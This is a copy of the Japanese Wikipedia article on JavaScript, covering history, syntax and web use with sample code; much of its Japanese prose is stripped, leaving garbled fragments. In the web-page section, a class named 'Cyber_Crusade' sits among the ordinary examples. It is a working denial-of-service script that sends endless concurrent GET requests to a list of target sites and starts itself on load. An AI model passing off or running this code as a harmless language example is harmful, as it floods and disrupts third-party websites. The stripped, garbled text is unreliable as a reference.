コンテンツにスキップ

JavaScript

出典: フリー百科事典『ウィキペディア(Wikipedia)』
JavaScript
JavaScript
logo.jsによるJavaScriptの非公式ロゴ
パラダイム マルチパラダイム
登場時期 1995年 (29年前) (1995)
設計者 ブレンダン・アイク
開発者 ネットスケープコミュニケーションズMozilla Foundation
最新リリース ECMAScript 2023[1] ウィキデータを編集/ 2023年6月 (12か月前)
評価版リリース ECMAScript 2025[2] ウィキデータを編集 / 2024年3月27日 (2か月前)
型付け ダック・タイピング
主な処理系 JavaScriptCoreKJSNitroRhinoSpiderMonkeyV8ほか
方言 JScript
影響を受けた言語 SchemeSelfJavaLuaPerlAWKHyperTalkPython ウィキデータを編集
影響を与えた言語 DartObjective-Jフランス語版Google Apps ScriptTypeScript
プラットフォーム クロスプラットフォーム
ウェブサイト www.ecma-international.org/publications-and-standards/standards/ecma-262/ ウィキデータを編集
拡張子 .js.cjs.mjs
テンプレートを表示
HTML中のJavaScript。scriptタグで囲まれている。

JavaScriptHyperText Markup LanguageHTMLCascading Style SheetsCSS World Wide WebWWW





Java#

[]


JavaScriptWebNetscape Navigator

JavaScriptECMAScriptJavaScriptJavaScriptChromiumV8Mozilla FirefoxSpiderMonkeySafariJavaScriptCore

ECMAScriptWebAPIDOMECMAScriptJavaScript

[]


JavaScript

iffor

.prototypeclass

map

JavaScript[ 1]

AptanaEclipse, NetBeans, IntelliJ IDEAJavaScriptExt JSGUI

[]


JavaScript[ 2]

JavaScriptPromisePromiseAsync/await

JavaScript

[]


JavaScriptSharedArrayBufferAtomicsECMAScriptWorkerNode.jsworker_threads2postMessage

[]

[]


JavaScript1995510JavaNetscape[3]Netscape Navigator 2.0

LiveScript1995JavaJavaScript[4][5]JavaScriptNetscape NavigatorSpiderMonkeyCJavaJavaScriptRhinoNetscapeNorris BoydGoogle

1996Internet Explorer 3.0JScriptJavaScript1997EcmaJavaScriptECMAScript[6]

LiveWire JavaScript[5]

JavaScriptECMAScriptDOM

JavaScriptECMAScriptJavaScript使JavaScript使[7]JScriptJScriptJavaScript

ECMAScript[8]ECMAScriptJavaScriptGoogleAppleJavaScript

Prototype JavaScript Framework

[]


2000GoogleAmazonGAFAMJavaScript

JavaScript使API[9]

JavaScriptJITNode.jsJavaScript使

JavaScript 2.0[]


JavaScript"JavaScript 2.0" 2

1ECMAScript 320002003ActionScript 2.0JScript .NET

Mozilla FoundationECMAScriptJavaScriptJavaScript 1.xECMAScriptECMAScript 41999[10]2006Mozilla FoundationJavaScript 2.0MozillaECMAScript 4Python[11]

ECMAScriptMozilla, Adobe, Opera, Google ECMAScript 4 Microsoft, Yahoo!  ECMAScript 3.1 20088ECMAScript 4ECMAScript 52009ECMAScript 4ECMAScript Harmony[12]ECMAScript 2015

ECMAScript 5MozillaJavaScriptECMAScript[13]JavaScript 2.0

文法[編集]

基本的な文法[編集]

JavaScriptの変数var[14], let[15]およびconst[16] キーワードを使用して宣言できる。

let x; // 変数xの宣言。値が未指定のため、特殊な値である undefined が入った状態となる。
let y = 2; // 変数yの宣言。同時に2が代入される。
const z = 5; // 定数zの宣言。同時に5が代入される。定数であるため、書き換えることはできない。

2

JavaScriptI/OECMAScript 5.1[17]


( indeed, there are no provisions in this specification for input of external data or output of computed results.)

Console Standard[18] console [19]Hello world
console.log("Hello World!");

再帰関数は以下のように書ける。

function factorial(n) {
    if (n == 0) {
        return 1;
    }
    return n * factorial(n - 1);
}

無名関数(またはラムダ式)の構文とクロージャの例は以下である。

// ECMAScript 5以前の記法
var displayClosure = function() {
    let count = 0;
    // ECMAScript 2015以降で可能な記法
    return ()=> {
        return ++count;
    };
}
var inc = displayClosure();
inc(); // 1 が返る
inc(); // 2 が返る
inc(); // 3 が返る

可変長引数は以下のように記述する[20]

var sum = function(...args) {
    let x = 0;
    for (const v of args) {
        x += v;
    }
    return x;
}
sum(1, 2, 3); // 6 が返る

即時実行関数式 (IIFE) の例。関数を用いることで変数をクロージャに閉じ込めることができる。

var v;
v = 1;
var getValue = (function(v) {
  return function() {return v;};
})(v);

v = 2;

getValue(); // 1 が返る

複雑な例[編集]

以下のサンプルコードは、様々なJavaScriptの機能を示したものである。

"use strict"; // strictモードの宣言
/* 2つの数値の最小公倍数を求める */
function LCMCalculator(x, y) { // コンストラクタ関数
    const checkInt = (x)=> { // 入れ子の関数
        if (x % 1 !== 0) {
            throw new TypeError(x + " is not an integer"); // 例外のスロー
        }
        return x;
    };
    //   行末のセミコロンは省略可能な場合があるが、省略は推奨されない。
    this.a = checkInt(x)
    this.b = checkInt(y);
}
// オブジェクトのプロトタイプはコンストラクタ関数の prototype プロパティに格納する
LCMCalculator.prototype = { // オブジェクトリテラル
    constructor: LCMCalculator, // このようにプロトタイプを上書きする場合は、
                                // constructorプロパティにコンストラクタ関数名を再指定する
    gcd: function () { // 最大公約数を計算するメソッド
        // 「ユークリッドの互除法」アルゴリズムで計算
        let a = Math.abs(this.a), b = Math.abs(this.b);
        if (a < b) {
            // 変数の入れ替え
            const t = b;
            b = a;
            a = t;
        }
        while (b !== 0) {
            const t = b;
            b = a % b;
            a = t;
        }
        // 最大公約数の計算は一度でよいため、自分自身を計算済みの結果を返すメソッドで再定義(上書き)する。
        // (これにより LCMCalculator.prototype.gcd の代わりに this.gcd が呼ばれるようになる。
        //   ただし、計算後にプロパティabが変更されてしまうと、結果は誤りとなる。)
        // なお 'gcd' === "gcd", this['gcd'] === this.gcd である。
        this['gcd'] = function () {
            return a;
        };
        return a;
    },
    lcm : function () { // 最小公倍数を計算するメソッド
        // 変数名は、オブジェクトのプロパティと衝突しない。例)lcm は this.lcm とは異なる。
        // 以下では、浮動小数の精度の問題を避けるために this.a * this.b としていない。
        const lcm = this.a/this.gcd()*this.b;
        // 最小公倍数の計算も一度でよいため、自分自身を計算済みの結果を返すメソッドで再定義(上書き)する。
        this.lcm = function () {
            return lcm;
        };
        return lcm;
    },
    toString: function () { // toStringはオブジェクトを文字列に変換するときに呼ばれるメソッド。
        // テンプレート文字列により文字列中に値を埋め込むことができる。
        return `LCMCalculator: a = ${this.a}, b = ${this.b}`;
    }
};

// 汎用の出力関数の定義。この実装はWebブラウザ上でのみ動作する。
function output(x) {
    document.body.appendChild(document.createTextNode(x));
    document.body.appendChild(document.createElement('br'));
}

// 無名関数はさまざまな書き方が可能
[[25, 55], [21, 56], [22, 58], [28, 56]].map(([a, b])=> new LCMCalculator(a, b)) // 配列リテラル + マッピング関数
.sort((a, b)=> a.lcm() - b.lcm()) // 指定した比較関数を用いたソート
.forEach(obj=> {
    output(obj + ", gcd = " + obj.gcd() + ", lcm = " + obj.lcm());
});

上記コードをウェブブラウザ上で実行すると、以下の結果が表示される。

LCMCalculator: a = 28, b = 56, gcd = 28, lcm = 56
LCMCalculator: a = 21, b = 56, gcd = 7, lcm = 168
LCMCalculator: a = 25, b = 55, gcd = 5, lcm = 275
LCMCalculator: a = 22, b = 58, gcd = 2, lcm = 638

機能[編集]

グローバルオブジェクト[編集]


JavaScriptJavaScriptglobalThis[21]

[]

API[]


JavaScriptAPIJavaScript

Web[]


HTMLJavaScriptDOM API: document.querySelectorHTTPFetch APIWorkerECMAScriptAPIJavaScriptJavaScript

Node.js[]


fs APIprocess APIWebNode.js API1

altJS[]


alternative JavaScript (altJS) JavaScript

JavaScript1JavaScriptJavaScriptaltJSaltJSCoffeeScriptTypeScriptPureScriptaltJSJavaScriptJavaScriptaltJSVanillaJS[22]

TypeScriptJavaScriptJavaScriptaltJS1TypeScriptJavaScriptJavaScript

[]


JavaScript調npmyarn

[]


WebHTMLJavaScript2020

Webページでの利用[編集]


JavaScript使HTMLHTML (DHTML) JavaScriptHTMLWebJavaScriptWebDocument Object Model (DOM) 

JavaScript使

稿AjaxSNS稿





[23]

JavaScriptJavaScriptHTMLGmailJavaScriptUIJavaScripteAjax[]

JavaScript: TypeScript

[]


JavaScriptDOMWeb
<!DOCTYPE html>
<html>
    <meta charset="utf-8">
    <title>単純な例</title>
    
    <body>
        <h1 id="header">これはJavaScriptです</h1>
        
        <script>
            document.body.appendChild(document.createTextNode('Hello World!'));
        
            var h1 = document.getElementById('header'); // id='header'の<h1>要素の参照を取得。
            h1 = document.getElementsByTagName('h1')[0]; // または<h1>要素を全て取得してそこから先頭を取得。
        </script>
        
        <noscript>表示中のブラウザはJavaScriptをサポートしていないか、OFFになっています。</noscript>
    </body>
</html>

htmlWeb C#Java
// クラス名
class Cyber_Crusade {

  // コンストラクタ
  constructor(limit) {
    // 1秒ごとの送信頻度を設定
    this.CONCURRENCY_LIMIT = limit;
    // 非同期関数を定義
    this.fetchWithTimeout = this.fetchWithTimeout.bind(this);   // リクエスト送信。
    this.punish_heterodoxy = this.punish_heterodoxy.bind(this); // 各サイトにデータリクエストを送る。
  }

  // 対象のサイトを指定
  heresy_sites = {
       'https://example.com/': { number_of_requests: 0, number_of_errored_responses: 0 },   
       'https://www.example.com/': { number_of_requests: 0, number_of_errored_responses: 0 },  
  };

  // 1秒ごとの送信頻度
  CONCURRENCY_LIMIT = 1000;
  queue = [];

  // リクエスト送信
  async fetchWithTimeout(resource, options) {
    // コントローラーを取得
    const controller = new AbortController();
    // IDを取得
    const id = setTimeout(() => controller.abort(), options.timeout);
    // リクエスト処理を返す。
    return fetch(resource, {
      method: 'GET',              // GET方式
      mode: 'no-cors',            // CORS-safelisted methodsとCORS-safelisted request-headersだけを使ったリクエストを送る。
      signal: controller.signal   // オブジェクトのインスタンスを返
    }).then((response) => {       // 成功した場合
      clearTimeout(id);     // タイムアウトを消す。
      return response;     // 応答結果を返す。
    }).catch((error) => {    // 失敗した場合
      console.log(error.code);    // エラーコードを出力
      clearTimeout(id);     // タイムアウトを消す。
      throw error;      // エラーを投げる。
    });
  }

  // 各ターゲットにデータ送信する。
  async punish_heterodoxy(target) {
    //for文を使った無限ループ
    for (var i = 0;; ++i) {
      // リクエストの数が規定数になったら
      if (this.queue.length > this.CONCURRENCY_LIMIT) {
        // 最初のリクエストを削除する。
        await this.queue.shift()
      }
      // 乱数を生成
      var rand = i % 3 === 0 ? '' : ('?' + Math.random() * 2000)
      // 送信リクエストを追加する。
      this.queue.push(
        // 関数を実行する(時間制限:1秒)
        this.fetchWithTimeout(target+rand, { timeout: 1000 })
          // エラーがある場合はエラーを取得する。
          .catch((error) => {
            if (error.code === 20 /* ABORT */) {
              return;
            }
            this.heresy_sites[target].number_of_errored_responses++;
          })
          // 処理後の処理をする。
          .then((response) => {
            // エラーがある場合はエラー処理を入れる。
            if (response && !response.ok) {
              this.heresy_sites[target].number_of_errored_responses++;
            }
            // リクエスト数を追加する。
            this.heresy_sites[target].number_of_requests++;
          })
      )
    }
  }       
  // 実行関数
  inquisitio(){
   // 全てのターゲット要素に対してデータ送信処理を実行する。
   Object.keys(this.heresy_sites).map(this.punish_heterodoxy);
  }
}

// オブジェクト呼び出し
var cyber_crusade = new Cyber_Crusade(500);
// 実行
cyber_crusade.inquisitio();

その他の環境での利用[編集]


JavaScriptJavaScriptWebAPIHTTP

Node.jsOSElectronAtom

Adobe AcrobatJavaScript

バージョンとブラウザの対応表[編集]

バージョン 日付 規格 Netscape
Navigator
Mozilla
Firefox
Internet
Explorer
Opera Safari
1.0 1996年3月 2.0 3.0
1.1 1996年8月 3.0
1.2 1997年7月 4.0-4.05
1.3 1998年10月 ECMA-262 1st edition / ECMA-262 2nd edition 4.06-4.7x 4.0 5.0
1.4 Netscape
Server
6.0
1.5 2000年11月 ECMA-262 3rd edition 6.0 1.0 5.5 (JScript 5.5),
6.0 (JScript 5.6),
7.0 (JScript 5.7),
8.0 (JScript 6.0)
1.6 2005年11月 1.5 + Array extras + Array and String generics + E4X 7.0-8.0 1.5 7.0-9.0 3.0, 3.1
1.7 2006年10月 1.6 + Pythonic generators + Iterators + let 2.0 3.2-5.1
1.8 2008年7月 1.7 + Generator expressions + Expression closures 3.0
1.8.1 1.8 + Minor Updates 3.5
1.9 1.8.1 + ECMAScript 5[24] Compliance 4.0-11.0

[25]

ライブラリ[編集]

代表的なJavaScriptライブラリは以下のとおり。

脚注[編集]

注釈[編集]

  1. ^ 新しい (ES2015以降) JavaScriptではクラスの構文によりプロトタイプを意識せずにオブジェクト指向プログラミングをすることが可能になったが、言語設計はプロトタイプベースの設計を維持している。
  2. ^ もしも待ちの間にプログラムを停止/sleep させると、その間に他の処理をそのスレッドで行うことが出来ない(ブロッキング)。もしネットワークリクエストが返ってくるまでブロッキングしたとすると、その間ブラウザのレンダリングも停止してしまう。

出典[編集]



(一)^ ECMAScript® 2023 Language Specification (6 2023). 2 3 2024

(二)^ ECMAScript® 2025 Language Specification (27 3 2024). 17 4 2024

(三)^ Effective JavaScript2013iii

(四)^ Marc Andreessen. INNOVATORS OF THE NET: BRENDAN EICH AND JAVASCRIPT. 2008742008122

(五)^ abNETSCAPE AND SUN ANNOUNCE JAVASCRIPT, THE OPEN, CROSS-PLATFORM OBJECT SCRIPTING LANGUAGE FOR ENTERPRISE NETWORKS AND THE INTERNET. 20085282008122

(六)^ ECMA 262, ISO/IEC 16262, JIS X 3060

(七)^ JavaScript 52007P2

(八)^ ECMA-262 5 2.Conformance

(九)^ WebExtensions, Browser Extensions

(十)^ ECMAScript® 2017 Language Specification (ECMA-262, 8th edition, June 2017) Introduction

(11)^ Python and JavaScript (). Brendan's Roadmap Updates (2006219). 2010125200795

(12)^  (2008818). JavaScript 2.0ECMAScript 3.1ECMAScript 4. . 2013312022411

(13)^ Mozilla  ECMAScript 5 . 20214202022411

(14)^ var  JavaScript  MDN.  The Mozilla Developer Network. 20121222

(15)^ let  JavaScript  MDN.  The Mozilla Developer Network. 2018124

(16)^ const  JavaScript  MDN.  The Mozilla Developer Network. 2018124

(17)^ ECMAScript Language Specification  ECMA-262 Edition 5.1.  Ecma. 20121222

(18)^ Console Living Standard ().  WHATWG (2017518). 2017524

(19)^ console. Mozilla Developer Network.  Mozilla. 201346

(20)^ [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters Rest parameters -  JavaScript]. Mozilla Developer Network.  Mozilla. 2018124

(21)^ 2020-04-10 tc39 stage-4 (finished proposal). ECMAScript2020 tc39

(22)^ Vanilla JS. vanilla-js.com. 2020616202194

(23)^ JavaScript tracking  Piwik.  Piwik. 2012331

(24)^  (2009129). JavaScript.  journal.mycom.co.jp. 2009129

(25)^ John Resig. Versions of JavaScript.  Ejohn.org. 2009519

関連項目[編集]

外部リンク[編集]